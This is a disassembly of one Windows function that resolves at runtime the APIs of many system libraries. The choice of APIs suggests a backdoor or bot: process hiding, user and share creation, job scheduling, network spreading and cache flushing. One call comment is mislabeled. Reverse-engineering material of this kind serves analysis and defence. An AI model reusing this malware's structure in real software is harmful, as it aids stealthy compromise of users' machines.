Assembly Code of File sub_40468E


    sub_40468E proc near ; CODE XREF: sub_40D1EF + 4Bp push ebx push ebp mov ebp, ds:dword_41F078 push esi push edi push offset aKernel32_dll ; \"kernel32.dll\" call ebp ; GetModuleHandleA mov esi, ds:dword_41F074 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_4047AE push offset aSeterrormode ; \"SetErrorMode\" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; \"CreateToolhelp32Snapshot\" push edi mov dword_433478, eax call esi ; GetProcAddress push offset aProcess32first ; \"Process32First\" push edi mov dword_433490, eax call esi ; GetProcAddress push offset aProcess32next ; \"Process32Next\" push edi mov dword_4334EC, eax call esi ; GetProcAddress push offset aModule32first ; \"Module32First\" push edi mov dword_433450, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; \"GetDiskFreeSpaceExA\" push edi mov dword_4334B8, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; \"GetLogicalDriveStringsA\" push edi mov dword_43349C, eax call esi ; GetProcAddress push offset aGetdrivetypea ; \"GetDriveTypeA\" push edi mov dword_43353C, eax call esi ; GetProcAddress push offset aSearchpatha ; \"SearchPathA\" push edi mov dword_43342C, eax call esi ; GetProcAddress push offset aQueryperforman ; \"QueryPerformanceCounter\" push edi mov dword_4334C0, eax call esi ; GetProcAddress push offset aQueryperform_0 ; \"QueryPerformanceFrequency\" push edi mov dword_4334E4, eax call esi ; GetProcAddress cmp dword_433478, ebx mov dword_433548, eax jz short loc_40478C cmp dword_433490, ebx jz short loc_40478C cmp dword_4334EC, ebx jz short loc_40478C cmp dword_433450, ebx jz short loc_40478C cmp dword_43349C, ebx jz short loc_40478C cmp dword_43353C, ebx jz short loc_40478C cmp dword_43342C, ebx jz short loc_40478C cmp dword_4334C0, ebx jz short loc_40478C cmp dword_4334E4, ebx jz short loc_40478C cmp eax, ebx jnz short loc_404796 loc_40478C: ; CODE XREF: sub_40468E + B8j ; sub_40468E + C0j ... mov dword_4335F0, 1 loc_404796: ; CODE XREF: sub_40468E + FCj push offset aRegisterservic ; \"RegisterServiceProcess\" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_43359C, eax jz short loc_4047C3 push 1 push ebx call eax ; GetDiskFreeSpaceExA jmp short loc_4047C3 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4047AE: ; CODE XREF: sub_40468E + 1Dj call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_4335F4, eax mov dword_4335F0, 1 loc_4047C3: ; CODE XREF: sub_40468E + 117j ; sub_40468E + 11Ej push offset aUser32_dll ; \"user32.dll\" call ds:dword_41F070 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40487E push offset aSendmessagea ; \"SendMessageA\" push edi call esi ; GetProcAddress push offset aFindwindowa ; \"FindWindowA\" push edi mov dword_433560, eax call esi ; GetProcAddress push offset aIswindow ; \"IsWindow\" push edi mov dword_4334F8, eax call esi ; GetProcAddress push offset aDestroywindow ; \"DestroyWindow\" push edi mov dword_433434, eax call esi ; GetProcAddress push offset aOpenclipboard ; \"OpenClipboard\" push edi mov dword_433498, eax call esi ; GetProcAddress push offset aGetclipboardda ; \"GetClipboardData\" push edi mov dword_43344C, eax call esi ; GetProcAddress push offset aCloseclipboard ; \"CloseClipboard\" push edi mov dword_4335CC, eax call esi ; GetProcAddress push offset aExitwindowsex ; \"ExitWindowsEx\" push edi mov dword_433430, eax call esi ; GetProcAddress cmp dword_433560, ebx mov dword_433538, eax jz short loc_404889 cmp dword_4334F8, ebx jz short loc_404889 cmp dword_433434, ebx jz short loc_404889 cmp dword_433498, ebx jz short loc_404889 cmp dword_43344C, ebx jz short loc_404889 cmp dword_4335CC, ebx jz short loc_404889 cmp dword_433430, ebx jz short loc_404889 cmp eax, ebx jnz short loc_404893 jmp short loc_404889 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_40487E: ; CODE XREF: sub_40468E + 144j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_4335FC, eax loc_404889: ; CODE XREF: sub_40468E + 1B8j ; sub_40468E + 1C0j ... mov dword_4335F8, 1 loc_404893: ; CODE XREF: sub_40468E + 1ECj push offset aAdvapi32_dll ; \"advapi32.dll\" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_404A2E push offset aRegopenkeyexa ; \"RegOpenKeyExA\" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; \"RegCreateKeyExA\" push edi mov dword_4335C8, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; \"RegSetValueExA\" push edi mov dword_4334E8, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; \"RegQueryValueExA\" push edi mov dword_433484, eax call esi ; GetProcAddress push offset aRegdeletevalue ; \"RegDeleteValueA\" push edi mov dword_433460, eax call esi ; GetProcAddress push offset aRegclosekey ; \"RegCloseKey\" push edi mov dword_4334DC, eax call esi ; GetProcAddress cmp dword_4335C8, ebx mov dword_43357C, eax jz short loc_40491E cmp dword_4334E8, ebx jz short loc_40491E cmp dword_433484, ebx jz short loc_40491E cmp dword_433460, ebx jz short loc_40491E cmp dword_4334DC, ebx jz short loc_40491E cmp eax, ebx jnz short loc_404928 loc_40491E: ; CODE XREF: sub_40468E + 26Aj ; sub_40468E + 272j ... mov dword_433600, 1 loc_404928: ; CODE XREF: sub_40468E + 28Ej push offset aOpenprocesstok ; \"OpenProcessToken\" push edi call esi ; GetProcAddress push offset aLookupprivileg ; \"LookupPrivilegeValueA\" push edi mov dword_4335D4, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; \"AdjustTokenPrivileges\" push edi mov dword_4335BC, eax call esi ; GetProcAddress cmp dword_4335D4, ebx mov dword_433508, eax jz short loc_404963 cmp dword_4335BC, ebx jz short loc_404963 cmp eax, ebx jnz short loc_40496D loc_404963: ; CODE XREF: sub_40468E + 2C7j ; sub_40468E + 2CFj mov dword_433600, 1 loc_40496D: ; CODE XREF: sub_40468E + 2D3j push offset aOpenscmanagera ; \"OpenSCManagerA\" push edi call esi ; GetProcAddress push offset aOpenservicea ; \"OpenServiceA\" push edi mov dword_43355C, eax call esi ; GetProcAddress push offset aStartservicea ; \"StartServiceA\" push edi mov dword_4335D8, eax call esi ; GetProcAddress push offset aControlservice ; \"ControlService\" push edi mov dword_433564, eax call esi ; GetProcAddress push offset aDeleteservice ; \"DeleteService\" push edi mov dword_433580, eax call esi ; GetProcAddress push offset aCloseserviceha ; \"CloseServiceHandle\" push edi mov dword_433494, eax call esi ; GetProcAddress push offset aEnumservicesst ; \"EnumServicesStatusA\" push edi mov dword_4334D0, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; \"IsValidSecurityDescriptor\" push edi mov dword_43356C, eax call esi ; GetProcAddress cmp dword_43355C, ebx mov dword_433598, eax jz short loc_404A11 cmp dword_4335D8, ebx jz short loc_404A11 cmp dword_433564, ebx jz short loc_404A11 cmp dword_433580, ebx jz short loc_404A11 cmp dword_433494, ebx jz short loc_404A11 cmp dword_4334D0, ebx jz short loc_404A11 cmp dword_43356C, ebx jz short loc_404A11 cmp eax, ebx jnz short loc_404A1B loc_404A11: ; CODE XREF: sub_40468E + 34Dj ; sub_40468E + 355j ... mov dword_433600, 1 loc_404A1B: ; CODE XREF: sub_40468E + 381j push offset aGetusernamea ; \"GetUserNameA\" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_433530, eax jnz short loc_404A43 jmp short loc_404A39 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_404A2E: ; CODE XREF: sub_40468E + 210j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_433604, eax loc_404A39: ; CODE XREF: sub_40468E + 39Ej mov dword_433600, 1 loc_404A43: ; CODE XREF: sub_40468E + 39Cj push offset aGdi32_dll ; \"gdi32.dll\" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_404B0F push offset aCreatedca ; \"CreateDCA\" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; \"CreateDIBSection\" push edi mov dword_4335DC, eax call esi ; GetProcAddress push offset aCreatecompatib ; \"CreateCompatibleDC\" push edi mov dword_4335B0, eax call esi ; GetProcAddress push offset aGetdevicecaps ; \"GetDeviceCaps\" push edi mov dword_433518, eax call esi ; GetProcAddress push offset aGetdibcolortab ; \"GetDIBColorTable\" push edi mov dword_433510, eax call esi ; GetProcAddress push offset aSelectobject ; \"SelectObject\" push edi mov dword_433554, eax call esi ; GetProcAddress push offset aBitblt ; \"BitBlt\" push edi mov dword_43343C, eax call esi ; GetProcAddress push offset aDeletedc ; \"DeleteDC\" push edi mov dword_433528, eax call esi ; GetProcAddress push offset aDeleteobject ; \"DeleteObject\" push edi mov dword_4334CC, eax call esi ; GetProcAddress cmp dword_4335DC, ebx mov dword_43351C, eax jz short loc_404B1A cmp dword_4335B0, ebx jz short loc_404B1A cmp dword_433518, ebx jz short loc_404B1A cmp dword_433510, ebx jz short loc_404B1A cmp dword_433554, ebx jz short loc_404B1A cmp dword_43343C, ebx jz short loc_404B1A cmp dword_433528, ebx jz short loc_404B1A cmp dword_4334CC, ebx jz short loc_404B1A cmp eax, ebx jnz short loc_404B24 jmp short loc_404B1A ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_404B0F: ; CODE XREF: sub_40468E + 3C0j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_43360C, eax loc_404B1A: ; CODE XREF: sub_40468E + 441j ; sub_40468E + 449j ... mov dword_433608, 1 loc_404B24: ; CODE XREF: sub_40468E + 47Dj mov ebp, ds:dword_41F070 push offset aWs2_32_dll ; \"ws2_32.dll\" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_404DE0 push offset aWsastartup ; \"WSAStartup\" push edi call esi ; GetProcAddress push offset aWsasocketa ; \"WSASocketA\" push edi mov dword_4334B0, eax call esi ; GetProcAddress push offset aWsaasyncselect ; \"WSAAsyncSelect\" push edi mov dword_433424, eax call esi ; GetProcAddress push offset a__wsafdisset ; \"__WSAFDIsSet\" push edi mov dword_43352C, eax call esi ; GetProcAddress push offset aWsaioctl ; \"WSAIoctl\" push edi mov dword_4334F4, eax call esi ; GetProcAddress push offset aWsagetlasterro ; \"WSAGetLastError\" push edi mov dword_433574, eax call esi ; GetProcAddress push offset aWsacleanup ; \"WSACleanup\" push edi mov dword_433558, eax call esi ; GetProcAddress push offset aSocket ; \"socket\" push edi mov dword_4335B8, eax call esi ; GetProcAddress push offset aIoctlsocket ; \"ioctlsocket\" push edi mov dword_4334A0, eax call esi ; GetProcAddress push offset aConnect ; \"connect\" push edi mov dword_433444, eax call esi ; GetProcAddress push offset aInet_ntoa ; \"inet_ntoa\" push edi mov dword_433458, eax call esi ; GetProcAddress push offset aInet_addr ; \"inet_addr\" push edi mov dword_433520, eax call esi ; GetProcAddress push offset aHtons ; \"htons\" push edi mov dword_433514, eax call esi ; GetProcAddress push offset aHtonl ; \"htonl\" push edi mov dword_4335EC, eax call esi ; GetProcAddress push offset aNtohs ; \"ntohs\" push edi mov dword_4335C4, eax call esi ; GetProcAddress push offset aNtohl ; \"ntohl\" push edi mov dword_433594, eax call esi ; GetProcAddress push offset aSend ; \"send\" push edi mov dword_433570, eax call esi ; GetProcAddress push offset aSendto ; \"sendto\" push edi mov dword_433534, eax call esi ; GetProcAddress push offset aRecv ; \"recv\" push edi mov dword_433470, eax call esi ; GetProcAddress push offset aRecvfrom ; \"recvfrom\" push edi mov dword_433414, eax call esi ; GetProcAddress mov dword_433438, eax push offset aBind ; \"bind\" push edi call esi ; GetProcAddress push offset aSelect ; \"select\" push edi mov dword_433578, eax call esi ; GetProcAddress push offset aListen ; \"listen\" push edi mov dword_433544, eax call esi ; GetProcAddress push offset aAccept ; \"accept\" push edi mov dword_4335C0, eax call esi ; GetProcAddress push offset aSetsockopt ; \"setsockopt\" push edi mov dword_433464, eax call esi ; GetProcAddress push offset aGetsockname ; \"getsockname\" push edi mov dword_4334BC, eax call esi ; GetProcAddress push offset aGethostname ; \"gethostname\" push edi mov dword_433418, eax call esi ; GetProcAddress push offset aGethostbyname ; \"gethostbyname\" push edi mov dword_4335B4, eax call esi ; GetProcAddress push offset aGethostbyaddr ; \"gethostbyaddr\" push edi mov dword_433500, eax call esi ; GetProcAddress push offset aGetpeername ; \"getpeername\" push edi mov dword_433590, eax call esi ; GetProcAddress push offset aClosesocket ; \"closesocket\" push edi mov dword_4334E0, eax call esi ; GetProcAddress cmp dword_4334B0, ebx mov dword_4335AC, eax jz loc_404DEB cmp dword_433424, ebx jz loc_404DEB cmp dword_43352C, ebx jz loc_404DEB cmp dword_433574, ebx jz loc_404DEB cmp dword_433558, ebx jz loc_404DEB cmp dword_4335B8, ebx jz loc_404DEB cmp dword_4334A0, ebx jz loc_404DEB cmp dword_433444, ebx jz loc_404DEB cmp dword_433458, ebx jz loc_404DEB cmp dword_433520, ebx jz loc_404DEB cmp dword_433514, ebx jz loc_404DEB cmp dword_4335EC, ebx jz loc_404DEB cmp dword_4335C4, ebx jz loc_404DEB cmp dword_433594, ebx jz short loc_404DEB cmp dword_433534, ebx jz short loc_404DEB cmp dword_433470, ebx jz short loc_404DEB cmp dword_433414, ebx jz short loc_404DEB cmp dword_433438, ebx jz short loc_404DEB cmp dword_433578, ebx jz short loc_404DEB cmp dword_433544, ebx jz short loc_404DEB cmp dword_4335C0, ebx jz short loc_404DEB cmp dword_433464, ebx jz short loc_404DEB cmp dword_4334BC, ebx jz short loc_404DEB cmp dword_433418, ebx jz short loc_404DEB cmp dword_4335B4, ebx jz short loc_404DEB cmp dword_433500, ebx jz short loc_404DEB cmp dword_433590, ebx jz short loc_404DEB cmp eax, ebx jnz short loc_404DF5 jmp short loc_404DEB ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_404DE0: ; CODE XREF: sub_40468E + 4A7j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_433614, eax loc_404DEB: ; CODE XREF: sub_40468E + 646j ; sub_40468E + 652j ... mov dword_433610, 1 loc_404DF5: ; CODE XREF: sub_40468E + 74Ej push offset aWininet_dll ; \"wininet.dll\" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_404EFA push offset aInternetgetcon ; \"InternetGetConnectedState\" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; \"InternetGetConnectedStateEx\" push edi mov dword_433428, eax call esi ; GetProcAddress push offset aHttpopenreques ; \"HttpOpenRequestA\" push edi mov dword_4335E8, eax call esi ; GetProcAddress push offset aHttpsendreques ; \"HttpSendRequestA\" push edi mov dword_4334C8, eax call esi ; GetProcAddress push offset aInternetconnec ; \"InternetConnectA\" push edi mov dword_4335E4, eax call esi ; GetProcAddress push offset aInternetopena ; \"InternetOpenA\" push edi mov dword_4334D4, eax call esi ; GetProcAddress push offset aInternetopenur ; \"InternetOpenUrlA\" push edi mov dword_433448, eax call esi ; GetProcAddress push offset aInternetcracku ; \"InternetCrackUrlA\" push edi mov dword_4334A8, eax call esi ; GetProcAddress push offset aInternetreadfi ; \"InternetReadFile\" push edi mov dword_433420, eax call esi ; GetProcAddress push offset aInternetcloseh ; \"InternetCloseHandle\" push edi mov dword_43354C, eax call esi ; GetProcAddress cmp dword_433428, ebx mov ecx, dword_433448 mov dword_4334FC, eax jz short loc_404ED6 cmp dword_4335E8, ebx jz short loc_404ED6 cmp dword_4334C8, ebx jz short loc_404ED6 cmp dword_4335E4, ebx jz short loc_404ED6 cmp dword_4334D4, ebx jz short loc_404ED6 cmp ecx, ebx jz short loc_404ED6 cmp dword_4334A8, ebx jz short loc_404ED6 cmp dword_433420, ebx jz short loc_404ED6 cmp dword_43354C, ebx jz short loc_404ED6 cmp eax, ebx jnz short loc_404EE0 loc_404ED6: ; CODE XREF: sub_40468E + 806j ; sub_40468E + 80Ej ... mov dword_433618, 1 loc_404EE0: ; CODE XREF: sub_40468E + 846j cmp ecx, ebx jz short loc_404F15 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; \"Mozilla/4.0 (compatible)\" call ecx ; InternetOpenA cmp eax, ebx mov dword_4335E0, eax jnz short loc_404F15 jmp short loc_404F0F ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_404EFA: ; CODE XREF: sub_40468E + 772j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_43361C, eax mov dword_433618, 1 loc_404F0F: ; CODE XREF: sub_40468E + 86Aj mov dword_4335E0, ebx loc_404F15: ; CODE XREF: sub_40468E + 854j ; sub_40468E + 868j push offset aIcmp_dll ; \"icmp.dll\" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_404F5F push offset aIcmpcreatefile ; \"IcmpCreateFile\" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; \"IcmpCloseHandle\" push edi mov dword_4334F0, eax call esi ; GetProcAddress push offset aIcmpsendecho ; \"IcmpSendEcho\" push edi mov dword_433524, eax call esi ; GetProcAddress cmp dword_4334F0, ebx mov dword_433588, eax jz short loc_404F6A cmp dword_433524, ebx jz short loc_404F6A cmp eax, ebx jnz short loc_404F74 jmp short loc_404F6A ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_404F5F: ; CODE XREF: sub_40468E + 892j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_433624, eax loc_404F6A: ; CODE XREF: sub_40468E + 8C1j ; sub_40468E + 8C9j ... mov dword_433620, 1 loc_404F74: ; CODE XREF: sub_40468E + 8CDj push offset aNetapi32_dll ; \"netapi32.dll\" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40506A push offset aNetshareadd ; \"NetShareAdd\" push edi call esi ; GetProcAddress push offset aNetsharedel ; \"NetShareDel\" push edi mov dword_433488, eax call esi ; GetProcAddress push offset aNetshareenum ; \"NetShareEnum\" push edi mov dword_4334A4, eax call esi ; GetProcAddress push offset aNetschedulejob ; \"NetScheduleJobAdd\" push edi mov dword_4335A0, eax call esi ; GetProcAddress push offset aNetapibufferfr ; \"NetApiBufferFree\" push edi mov dword_433454, eax call esi ; GetProcAddress push offset aNetremotetod ; \"NetRemoteTOD\" push edi mov dword_4334D8, eax call esi ; GetProcAddress push offset aNetuseradd ; \"NetUserAdd\" push edi mov dword_43341C, eax call esi ; GetProcAddress push offset aNetuserdel ; \"NetUserDel\" push edi mov dword_43346C, eax call esi ; GetProcAddress push offset aNetuserenum ; \"NetUserEnum\" push edi mov dword_433568, eax call esi ; GetProcAddress push offset aNetusergetinfo ; \"NetUserGetInfo\" push edi mov dword_433480, eax call esi ; GetProcAddress push offset aNetmessagebuff ; \"NetMessageBufferSend\" push edi mov dword_43348C, eax call esi ; GetProcAddress cmp dword_433488, ebx mov dword_4334B4, eax jz short loc_405075 cmp dword_4334A4, ebx jz short loc_405075 cmp dword_4335A0, ebx jz short loc_405075 cmp dword_433454, ebx jz short loc_405075 cmp dword_4334D8, ebx jz short loc_405075 cmp dword_43341C, ebx jz short loc_405075 cmp dword_43346C, ebx jz short loc_405075 cmp dword_433568, ebx jz short loc_405075 cmp dword_433480, ebx jz short loc_405075 cmp dword_43348C, ebx jz short loc_405075 cmp eax, ebx jnz short loc_40507F jmp short loc_405075 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_40506A: ; CODE XREF: sub_40468E + 8F1j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_43362C, eax loc_405075: ; CODE XREF: sub_40468E + 98Cj ; sub_40468E + 994j ... mov dword_433628, 1 loc_40507F: ; CODE XREF: sub_40468E + 9D8j push offset aDnsapi_dll ; \"dnsapi.dll\" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4050B4 push offset aDnsflushresolv ; \"DnsFlushResolverCache\" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; \"DnsFlushResolverCacheEntry_A\" push edi mov dword_433584, eax call esi ; GetProcAddress cmp dword_433584, ebx mov dword_433504, eax jz short loc_4050BF cmp eax, ebx jnz short loc_4050C9 jmp short loc_4050BF ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4050B4: ; CODE XREF: sub_40468E + 9FCj call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_433634, eax loc_4050BF: ; CODE XREF: sub_40468E + A1Ej ; sub_40468E + A24j mov dword_433630, 1 loc_4050C9: ; CODE XREF: sub_40468E + A22j push offset aIphlpapi_dll ; \"iphlpapi.dll\" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4050FE push offset aGetipnettable ; \"GetIpNetTable\" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; \"DeleteIpNetEntry\" push edi mov dword_4334AC, eax call esi ; GetProcAddress cmp dword_4334AC, ebx mov dword_43350C, eax jz short loc_405109 cmp eax, ebx jnz short loc_405113 jmp short loc_405109 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4050FE: ; CODE XREF: sub_40468E + A46j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_43363C, eax loc_405109: ; CODE XREF: sub_40468E + A68j ; sub_40468E + A6Ej mov dword_433638, 1 loc_405113: ; CODE XREF: sub_40468E + A6Cj push offset aMpr_dll ; \"mpr.dll\" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_405172 push offset aWnetaddconnect ; \"WNetAddConnection2A\" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; \"WNetAddConnection2W\" push edi mov dword_433540, eax call esi ; GetProcAddress push offset aWnetcancelconn ; \"WNetCancelConnection2A\" push edi mov dword_4335D0, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; \"WNetCancelConnection2W\" push edi mov dword_43347C, eax call esi ; GetProcAddress cmp dword_433540, ebx mov dword_433440, eax jz short loc_40517D cmp dword_4335D0, ebx jz short loc_40517D cmp dword_43347C, ebx jz short loc_40517D cmp eax, ebx jnz short loc_405187 jmp short loc_40517D ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_405172: ; CODE XREF: sub_40468E + A90j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_433644, eax loc_40517D: ; CODE XREF: sub_40468E + ACCj ; sub_40468E + AD4j ... mov dword_433640, 1 loc_405187: ; CODE XREF: sub_40468E + AE0j push offset aShell32_dll ; \"shell32.dll\" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4051BC push offset aShellexecutea ; \"ShellExecuteA\" push edi call esi ; GetProcAddress push offset aShchangenotify ; \"SHChangeNotify\" push edi mov dword_4335A8, eax call esi ; GetProcAddress cmp dword_4335A8, ebx mov dword_433474, eax jz short loc_4051C7 cmp eax, ebx jnz short loc_4051D1 jmp short loc_4051C7 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4051BC: ; CODE XREF: sub_40468E + B04j call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_43364C, eax loc_4051C7: ; CODE XREF: sub_40468E + B26j ; sub_40468E + B2Cj mov dword_433648, 1 loc_4051D1: ; CODE XREF: sub_40468E + B2Aj push offset aOdbc32_dll ; \"odbc32.dll\" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40525A push offset aSqldriverconne ; \"SQLDriverConnect\" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; \"SQLSetEnvAttr\" push edi mov dword_43358C, eax call esi ; GetProcAddress push offset aSqlexecdirect ; \"SQLExecDirect\" push edi mov dword_43345C, eax call esi ; GetProcAddress push offset aSqlallochandle ; \"SQLAllocHandle\" push edi mov dword_4335A4, eax call esi ; GetProcAddress push offset aSqlfreehandle ; \"SQLFreeHandle\" push edi mov dword_4334C4, eax call esi ; GetProcAddress push offset aSqldisconnect ; \"SQLDisconnect\" push edi mov dword_433550, eax call esi ; GetProcAddress cmp dword_43358C, ebx mov dword_433468, eax jz short loc_405265 cmp dword_43345C, ebx jz short loc_405265 cmp dword_4335A4, ebx jz short loc_405265 cmp dword_4334C4, ebx jz short loc_405265 cmp dword_433550, ebx jz short loc_405265 cmp eax, ebx jnz short loc_40526F jmp short loc_405265 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_40525A: ; CODE XREF: sub_40468E + B4Ej call ds:dword_41F008 ; RtlGetLastWin32Error mov dword_433654, eax loc_405265: ; CODE XREF: sub_40468E + BA4j ; sub_40468E + BACj ... mov dword_433650, 1 loc_40526F: ; CODE XREF: sub_40468E + BC8j pop edi pop esi xor eax, eax pop ebp inc eax pop ebx retn sub_40468E endp